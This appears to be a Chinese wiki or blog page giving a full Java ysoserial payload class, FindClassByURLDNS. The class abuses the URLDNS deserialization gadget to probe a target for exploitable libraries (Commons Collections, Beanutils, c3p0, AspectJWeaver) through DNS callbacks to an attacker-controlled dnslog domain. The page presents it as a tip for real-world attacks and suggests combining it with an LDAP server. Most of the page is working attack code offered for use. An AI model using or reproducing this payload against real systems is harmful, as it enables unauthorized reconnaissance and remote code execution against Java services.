java
Source
Edit
History

利用urldns原生链探测是否存在相应版本的反序列链

利用URLDNS原生链探测目标使用库

参考https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA

效果
1

集成到yso中，实战中很有用的tips

改进yso

urldns探测利用链的改进代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
package ysoserial.payloads;


import java.io.IOException;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import java.util.LinkedList;
import java.util.List;


import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import ysoserial.Serializer;


public class FindClassByURLDNS implements ObjectPayload<Object>{




    @Override
    public Object getObject(String command) throws Exception {
        URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();
        String[] cmds = command.split(",");
        if(cmds.length < 2){
            System.out.println("<url>,<class name> 默认存在cc,cb,c3p0,aspect");
            return null;
        }
        String dnslog = cmds[0];
        List<Object> list = new LinkedList<Object>();


        //CommonsCollections1/3/5/6/7链，需要<=3.2.1版本，无法通过类判断这个小版本
        HashMap cc31 = getURLDNSgadget("http://cc31."+dnslog,  "org.apache.commons.collections.functors.ChainedTransformer");
        HashMap cc32x = getURLDNSgadget("http://cc32x."+dnslog,  "org.apache.commons.collections.buffer.BoundedBuffer");
        list.add(cc31);
        list.add(cc32x);


        //CommonsCollections2/4链，需要4-4.0版本
        HashMap cc4x = getURLDNSgadget("http://cc4x."+dnslog,   "org.apache.commons.collections4.functors.ChainedTransformer");
        HashMap cc41 = getURLDNSgadget("http://cc41."+dnslog,   "org.apache.commons.collections4.FluentIterable");
        list.add(cc4x);
        list.add(cc41);


        //CommonsBeanutils2链，serialVersionUID不同，1.7x-1.8x为-3490850999041592962，1.9x为-2044202215314119608
        HashMap cb18x = getURLDNSgadget("http://cb18x."+dnslog,  "org.apache.commons.beanutils.BeanComparator");
        HashMap cb19x = getURLDNSgadget("http://cb19x."+dnslog,  "org.apache.commons.beanutils.BeanIntrospectionData");
        list.add(cb18x);
        list.add(cb19x);


        //c3p0，serialVersionUID不同，0.9.2pre2-0.9.5pre8为7387108436934414104，0.9.5pre9-0.9.5.5为7387108436934414104
        HashMap c3p092x = getURLDNSgadget("http://c3p092x."+dnslog,  "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        HashMap c3p095x = getURLDNSgadget("http://c3p095x."+dnslog,  "com.mchange.v2.c3p0.test.AlwaysFailDataSource");
        list.add(c3p092x);
        list.add(c3p095x);


        //AspectJWeaver，需要cc31
        HashMap ajw = getURLDNSgadget("http://ajw."+dnslog,  "org.aspectj.weaver.tools.cache.SimpleCache");
        list.add(ajw);


        HashMap test = getURLDNSgadget("http://success."+ dnslog, cmds[1]);
        list.add(test);


        return list;
//        Serializer.serialize(list);


    }


    public static HashMap getURLDNSgadget(String urls, String clazzName) throws  Exception{
        HashMap hashMap = new HashMap();
        URL url = new URL(urls);
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0);
        hashMap.put(url, makeClass(clazzName));
        f.set(url, -1);
        return hashMap;
    }


    public static Class makeClass(String clazzName) throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass(clazzName);
        Class clazz = ctClass.toClass();
        ctClass.defrost();
        return clazz;
    }
    static class SilentURLStreamHandler extends URLStreamHandler {


        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }


        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

写一个ldapserver结合利用，实战效果杠杠地
自带探测cc链、cb链、c3p0等，自定义探测类库会返回success.yourdns.com
2